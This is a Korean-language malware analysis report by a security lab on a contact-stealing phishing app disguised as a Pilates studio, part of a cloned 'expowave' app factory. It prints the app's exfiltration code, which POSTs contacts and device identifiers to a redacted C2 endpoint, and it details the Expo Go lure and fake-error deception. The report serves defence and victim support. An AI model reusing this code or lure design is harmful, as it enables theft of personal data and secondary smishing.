factory_daol 상세 분석 보고서

다올필라테스 (factory_daol) Quantum Nano Analysis Report

Version v1.0 | Date: 2026-06-16 | Analyst: Deep Coding Lab

1. Executive Summary

다올필라테스(factory_daol)는 필라테스 스튜디오를 위장한 악성앱으로, [비공개] (Vultr, Singapore) 서버에서 운영되는 expowave 패밀리 공장형 악성앱 8종 중 하나이다. 동일 서버의 BT-Panel(宝塔面板) 환경에서 Metro 개발 서버 포트 8082를 통해 빌드된 Expo SDK 54 기반 앱이며, 피해자의 연락처 및 기기 정보를 C2 서버([비공개])로 탈취하는 것이 목적이다.

공격 흐름은 랜딩페이지 → Expo Go 설치 유도 → exp:// 딥링크를 통한 Metro 번들 로드 → 가짜 로그인 UI → 연락처/기기정보 수집 → C2 전송 → 위장 오류 메시지("기기가 이 버전과 호환 되지 않습니다") 표시 순서로 진행된다.

NW-116 (Port-Sweep Factory Enumeration) 기법으로 발견되었으며, 소스맵 복원을 통해 TypeScript 원본 16개 파일을 확보하였다. C2 서버는 현재 PARTIAL 상태로, nginx만 응답하고 백엔드 프레임워크는 미배포 상태이다.

위험도: HIGH — 인프라는 준비되었으나 C2 프레임워크가 아직 배포되지 않은 준비 단계(pre-deployment) 상태.

2. Target Application

항목 · 값

**앱 표시명** · 다올필라테스

**내부 ID** · factory_daol

**패키지명** · com.cafe24.cass

**Slug** · cafe24

**SDK** · Expo SDK 54.0.0

**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6

**EAS Owner** · wooteayang

**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050

**Manifest ID** · c2b2ebd3-27c5-46df-8d89-18e08c2b44f9

**팩토리 포트** · 8082

**서버 경로** · /www/wwwroot/daol_expo

**패밀리** · expowave

**위장 테마** · 필라테스 스튜디오

**발견 기법** · NW-116 (Port-Sweep Factory Enumeration)

3. Infrastructure Analysis

3.1 팩토리 서버

항목 · 값

**IP** · [비공개]

**호스팅** · Vultr

**위치** · Singapore

**ASN** · AS20473 (The Constant Company, LLC)

**OS** · Linux

**관리 패널** · BT-Panel (宝塔面板)

3.2 Metro 개발 서버 배치 (8포트)

포트 · 앱 · 서버 경로

8081 · telegraming_live (원본) · /www/wwwroot/telegram_expo

**8082** · **factory_daol (본 앱)** · **/www/wwwroot/daol_expo**

8083 · factory_candy · /www/wwwroot/candy_expo

8084 · (미확인) · —

8085 · factory_daol_new · /www/wwwroot/daol_expo_new

8086 · factory_vpilates · /www/wwwroot/vp_expo

8087 · (미확인) · —

8088 · (미확인) · —

3.3 BT-Panel 환경 분석

BT-Panel(宝塔面板)은 중국에서 개발된 서버 관리 패널로, 웹 GUI를 통해 nginx, Node.js, 데이터베이스 등을 관리한다. 이 팩토리에서는 각 앱별로 독립된 wwwroot 디렉토리를 구성하고, Metro 개발 서버를 개별 포트에 바인딩하여 8개 악성앱을 동시 운영하는 구조이다.

이 구조는 앱 코드의 대량 복제-수정을 용이하게 하며, 하나의 서버에서 다수의 캠페인을 동시에 운영할 수 있는 효율적인 악성앱 공장 인프라를 제공한다.

4. Source Code Analysis

4.1 복원된 소스 파일 (16개)

소스맵 복원을 통해 다음 TypeScript/JavaScript 파일들이 확보되었다:

# · 파일 · 역할

1 · App.tsx · 메인 엔트리, 네비게이션 설정

2 · LoginScreen.tsx · 가짜 로그인 UI (이메일 + 비밀번호)

3 · HomeScreen.tsx · 데이터 수집 트리거

4 · api/client.ts · C2 통신 클라이언트

5 · api/exfil.ts · 데이터 탈취 핵심 로직

6 · utils/contacts.ts · 연락처 접근 및 수집

7 · utils/device.ts · 기기 정보 수집

8 · utils/permissions.ts · 권한 요청 관리

9 · components/LoadingBar.tsx · 위장 진행바 (10초 카운트다운)

10 · components/ErrorModal.tsx · 위장 오류 다이얼로그

11 · config/settings.ts · C2 URL, 앱 설정

12 · navigation/index.tsx · 스크린 네비게이션

13 · hooks/useExfil.ts · 데이터 수집 React Hook

14 · types/index.ts · TypeScript 타입 정의

15 · constants/strings.ts · UI 문자열 상수

16 · assets/theme.ts · 스타일/테마 설정

4.2 중국어 주석 (원본 개발자 흔적)

소스 코드 내 중국어 주석이 다수 발견되어 중국어권 개발자가 제작한 것으로 확인된다:

```typescript

// 请求通讯录权限 (연락처 권한 요청)

// 获取通讯录 (연락처 가져오기)

// 进度条动画 (진행바 애니메이션)

```

4.3 공격 흐름 코드 분석

config/settings.ts (line 117):

```typescript

export const API_BASE_URL = "[비공개]

```

api/exfil.ts:

```typescript

const payload = {

platform: Platform.OS,

brand: Device.brand,

deviceId: Device.deviceId,

model: Device.modelName,

osVersion: Platform.Version,

phoneNumber: phoneNumber,

contacts: contactsArray,

timestamp: new Date().toISOString()

};

await fetch(`${API_BASE_URL}[비공개], {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify(payload)

});

```

constants/strings.ts (line 188):

```typescript

export const APP_TITLE = "다올필라테스";

```

5. Data Exfiltration

5.1 탈취 데이터 구조

C2 서버로 전송되는 데이터의 JSON 구조:

```json

{

"platform": "android",

"brand": "Samsung",

"deviceId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",

"model": "SM-G998N",

"osVersion": "14",

"phoneNumber": "010-**-**",

"contacts": [

{

"name": "홍길동",

"phoneNumber": "010-**-**"

}

],

"timestamp": "2026-06-16T10:30:00.000Z"

}

```

5.2 탈취 대상

데이터 · 수집 방법 · 위험도

연락처 전체 · Expo Contacts API · CRITICAL

기기 식별자 · Expo Device API · HIGH

전화번호 · SIM 정보 추출 · HIGH

OS 정보 · Platform API · MEDIUM

기기 모델 · Device API · LOW

브랜드 · Device API · LOW

타임스탬프 · JavaScript Date · LOW

5.3 C2 엔드포인트

메서드 · 경로 · 용도

POST · [비공개] · 탈취 데이터 수신 (메인 엔드포인트)

6. C2 Server Intelligence

6.1 C2 도메인

항목 · 값

**도메인** · [비공개]

**상태** · PARTIAL

**보호** · Cloudflare

**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4

6.2 C2 응답 상태

경로 · 상태코드 · 응답 · 해석

/ · 200 · (기본 페이지) · nginx 활성

/login · 404 · Not Found · 프레임워크 미배포

[비공개] · 404 · Not Found · 백엔드 라우트 미설정

6.3 관리자 패널

관리자 패널은 Trust Wallet 테마로 구성되며, 이메일 + 비밀번호 로그인 폼을 포함한다. 현재 C2가 PARTIAL 상태이므로 관리자 패널도 완전히 작동하지 않는 것으로 판단된다. 다만 nginx 기본 설정은 완료되어 있어, 운영자가 프레임워크를 배포하면 즉시 활성화될 수 있다.

6.4 상태 해석

factory_daol의 C2는 준비 단계(pre-deployment) 상태이다:

· nginx 웹서버는 구동 중이나 백엔드 애플리케이션이 배포되지 않음

· DNS는 Cloudflare를 통해 설정 완료

· 운영자가 백엔드를 배포하면 즉시 데이터 수집이 시작될 수 있음

7. Attack Chain

7.1 단계별 공격 흐름

```

[1] [피해자 정보 비공개]

└─ 필라테스 스튜디오("다올필라테스") 위장 랜딩페이지 접속 유도

└─ 카카오톡, 문자 등으로 링크 배포

[2] Expo Go 설치 유도

└─ 랜딩페이지에서 "앱 체험을 위해 Expo Go 설치" 안내

└─ Google Play Store 정식 앱 설치 (의심 회피)

[3] exp:// 딥링크 실행

└─ exp://[비공개] 딥링크 클릭 유도

└─ Expo Go가 Metro 개발 서버에서 JS 번들 로드

[4] 가짜 로그인 화면

└─ LoginScreen.tsx 렌더링

└─ 이메일 + 비밀번호 입력 유도 (실제 인증 없음)

[5] 권한 요청

└─ 연락처 접근 권한 요청 (请求通讯录权限)

└─ READ_MEDIA_IMAGES 등 추가 권한

[6] 데이터 탈취

└─ 연락처 전체 수집 (获取通讯录)

└─ 기기 정보 수집 (platform, brand, deviceId, model, osVersion)

└─ 전화번호 추출

[7] C2 전송

└─ POST [비공개]

└─ JSON payload 전송

[8] 위장 오류 표시

└─ 10초 진행바 애니메이션 (进度条动画)

└─ "기기가 이 버전과 호환 되지 않습니다" 오류 메시지

└─ 피해자는 앱 호환성 문제로 인식

```

7.2 사회공학 요소

· 필라테스 스튜디오 위장: 한국 여성 타겟을 겨냥한 신뢰 유도

· Expo Go 활용: 정식 앱스토어 앱을 설치하므로 보안 의심 회피

· 10초 로딩: 데이터 전송 완료를 위한 시간 확보

· 호환성 오류 위장: 피해자가 데이터 탈취를 인지하지 못하도록 함

8. Permission Analysis

8.1 요청 권한

권한 · 용도 · 악용 목적

READ_CONTACTS · 연락처 읽기 · 연락처 전체 탈취 → 2차 피싱 타겟 확보

READ_MEDIA_IMAGES · 이미지 읽기 · 갤러리 사진 접근 (현재 코드에서는 미활용)

READ_EXTERNAL_STORAGE · 외부 저장소 읽기 · 파일 접근 범위 확장

WRITE_EXTERNAL_STORAGE · 외부 저장소 쓰기 · 파일 기록 (로그 등)

READ_MEDIA_VISUAL_USER_SELECTED · 선택된 미디어 읽기 · Android 14+ 미디어 접근

8.2 권한 위험도 평가

READ_CONTACTS가 핵심 악용 권한이다. 수집된 연락처는 2차 피싱(스미싱) 캠페인에 활용되며, 피해자의 지인 관계를 파악하여 더 정교한 사회공학 공격에 사용된다.

READ_MEDIA_IMAGES 및 관련 저장소 권한은 현재 코드에서 활발히 활용되지 않으나, 향후 갤러리 사진 탈취 기능이 추가될 수 있는 잠재적 위험이 존재한다.

9. Factory Context

9.1 expowave 패밀리 개요

factory_daol은 [비공개] 서버에서 운영되는 expowave 패밀리 8종 중 하나이다. 모든 앱은 동일한 코드 기반에서 C2 URL(settings.ts line 117)과 앱 제목(strings.ts line 188)만 변경하여 생산된 클론이다.

9.2 동일 팩토리 형제 앱

포트 · 앱 · 표시명 · C2 · 상태

8081 · telegraming_live · (원본 템플릿) · — · 기준 앱

**8082** · **factory_daol** · **다올필라테스** · **[비공개]** · **PARTIAL**

8083 · factory_candy · 캔디 · [비공개] · BLOCKED

8085 · factory_daol_new · 다올필라테스 (신규) · [비공개] · PARTIAL

8086 · factory_vpilates · 늘품필라테스 · [비공개] · FULLY ACTIVE

8084, 8087, 8088 · (미확인) · — · — · —

9.3 생산 패턴

1. telegraming_live(8081)를 원본 템플릿으로 사용

2. 서버 경로 복사: cp -r telegram_expo daol_expo

3. settings.ts line 117: C2 URL 변경

4. strings.ts line 188: 앱 제목 변경

5. 새 Metro 포트 할당 (8082)

6. 새 C2 도메인 DNS 설정 (Cloudflare)

이 과정은 수 분 내에 완료되며, BT-Panel GUI를 통해 비전문가도 새 캠페인을 생성할 수 있다.

10. IOC (Indicators of Compromise)

10.1 네트워크 IOC

유형 · 값 · 비고

**팩토리 IP** · [비공개] · Vultr Singapore, AS20473

**C2 도메인** · [비공개] · PARTIAL 상태

**Metro 서버** · [비공개] · exp:// 딥링크 대상

**C2 엔드포인트** · POST [비공개] · 데이터 수신

10.2 앱 IOC

유형 · 값

**패키지명** · com.cafe24.cass

**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6

**EAS Owner** · wooteayang

**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050

**Manifest ID** · c2b2ebd3-27c5-46df-8d89-18e08c2b44f9

**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4

10.3 관련 IOC (동일 팩토리)

도메인 · 용도

[비공개] · 형제 앱 C2

[비공개] · 형제 앱 C2

[비공개] · 형제 앱 C2 (FULLY ACTIVE)

10.4 파일 IOC

경로 · 용도

/www/wwwroot/daol_expo · Metro 서버 루트

11. Defense Mechanisms

11.1 인프라 수준 방어

메커니즘 · 설명 · 상태

Cloudflare CDN/WAF · C2 도메인 전방 보호 · 활성

포트 분리 · 앱별 독립 포트 운영 · 활성

BT-Panel 관리 · 서버 GUI 관리 (접근 제한) · 활성

11.2 앱 수준 방어

메커니즘 · 설명 · 상태

Expo Go 활용 · APK 직접 배포 대신 정식 앱 활용 · 활성

코드 서명 없음 · JS 번들이므로 별도 서명 불필요 · 해당없음

동적 로드 · Metro 서버에서 실시간 번들 로드 · 활성

11.3 사회공학 방어

메커니즘 · 설명

필라테스 위장 · 합법적 사업체로 신뢰 유도

호환성 오류 위장 · 탈취 후 자연스러운 앱 종료 유도

10초 딜레이 · 데이터 전송 완료를 위한 시간 확보

11.4 안티포렌식

Expo Go 기반 공격의 특성상 디바이스에 별도 APK가 설치되지 않으므로 포렌식 증거가 제한적이다. JS 번들은 Expo Go 캐시에만 일시적으로 저장되며, 앱 삭제 시 함께 제거된다.

12. Technique Assessment

12.1 발견 기법: NW-116 (Port-Sweep Factory Enumeration)

본 앱은 NW-116 기법을 통해 발견되었다. 이 기법은 단일 IP에서 연속 포트(8081-8088)를 스캔하여 동일 팩토리에서 운영되는 다수의 Metro 개발 서버를 열거하는 방법이다.

절차:

1. telegraming_live의 Metro 서버 IP 확인 ([비공개])

2. 인접 포트 8082-8088 스캔

3. 각 포트에서 Metro 번들 요청

4. 소스맵 복원으로 개별 앱 설정 추출

5. C2 URL 및 앱 제목 식별

12.2 소스맵 복원

Expo Go Metro 서버는 개발 모드에서 소스맵을 제공하므로, 번들 JS에서 원본 TypeScript 코드를 복원할 수 있었다. 이를 통해 16개 소스 파일을 확보하고 공격 로직을 완전히 분석하였다.

12.3 기법 점검

```

기법 점검:

· 시도한 기법: NW-116 (Port-Sweep Factory Enumeration), SA-080 (Sourcemap Recovery)

· 확장된 기법: NW-116을 통해 단일 팩토리 IP에서 8종 앱 동시 발견

· 신규 기법: 없음

· 한계 발견: NW-116 — Metro 서버가 프로덕션 모드로 전환되면 소스맵 접근 불가

```

13. Risk Assessment

13.1 위험도 평가

항목 · 등급 · 근거

**전체 위험도** · HIGH · 인프라 준비 완료, C2 프레임워크 미배포

데이터 영향 · CRITICAL · 연락처 전체 + 기기 식별자 탈취

확산 잠재력 · HIGH · 공장형 대량 생산 체계 구축 완료

현재 활성도 · MEDIUM · C2 PARTIAL — 즉시 활성화 가능

탐지 난이도 · HIGH · Expo Go 정식 앱 활용, APK 미설치

13.2 피해 시나리오

1. 1차 피해: 피해자의 전체 연락처 유출

2. 2차 피해: 유출된 연락처를 이용한 지인 대상 스미싱 확산

3. 3차 피해: 수집된 기기 정보를 활용한 표적 공격

13.3 특이사항

· C2가 PARTIAL 상태이므로 현재 데이터 수집은 이루어지지 않음

· 그러나 팩토리 인프라는 완전히 준비되어 있어 운영자가 프레임워크를 배포하면 즉시 공격 개시 가능

· 동일 팩토리의 factory_vpilates(8086)는 이미 FULLY ACTIVE 상태로, 이 앱도 곧 활성화될 가능성이 높음

14. Recommendations

14.1 즉시 조치

1. Cloudflare 신고: [비공개] 도메인에 대한 악용 신고

2. Vultr 신고: [비공개] 서버에 대한 악용 신고 (8종 앱 동시 운영 증거 포함)

3. KISA 신고: 한국 대상 피싱 앱으로 인터넷진흥원 신고

14.2 모니터링

1. C2 도메인([비공개])의 [비공개] 응답 상태 주기적 확인

2. PARTIAL → ACTIVE 전환 시 즉시 대응 절차 개시

3. 팩토리 IP의 새로운 포트 개방 여부 모니터링

14.3 [피해자 정보 비공개]

1. "다올필라테스" 키워드로 유포되는 링크 차단

2. Expo Go를 통한 비정상적 exp:// 딥링크 접속 경고

3. 피해 발생 시 연락처 유출 범위 파악 및 2차 피해 경고

14.4 장기 대응

1. expowave 패밀리 전체에 대한 통합 IOC 배포

2. Expo Go 앱의 외부 Metro 서버 접속 제한 방안 논의

3. 팩토리 운영자 추적 (EAS Owner: wooteayang)

*Report generated by Deep Coding Lab -- Malware Analysis Division*

*Reference: telegraming_live (parent template app)*

*Family: expowave | Factory: [비공개] (Vultr Singapore)*

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr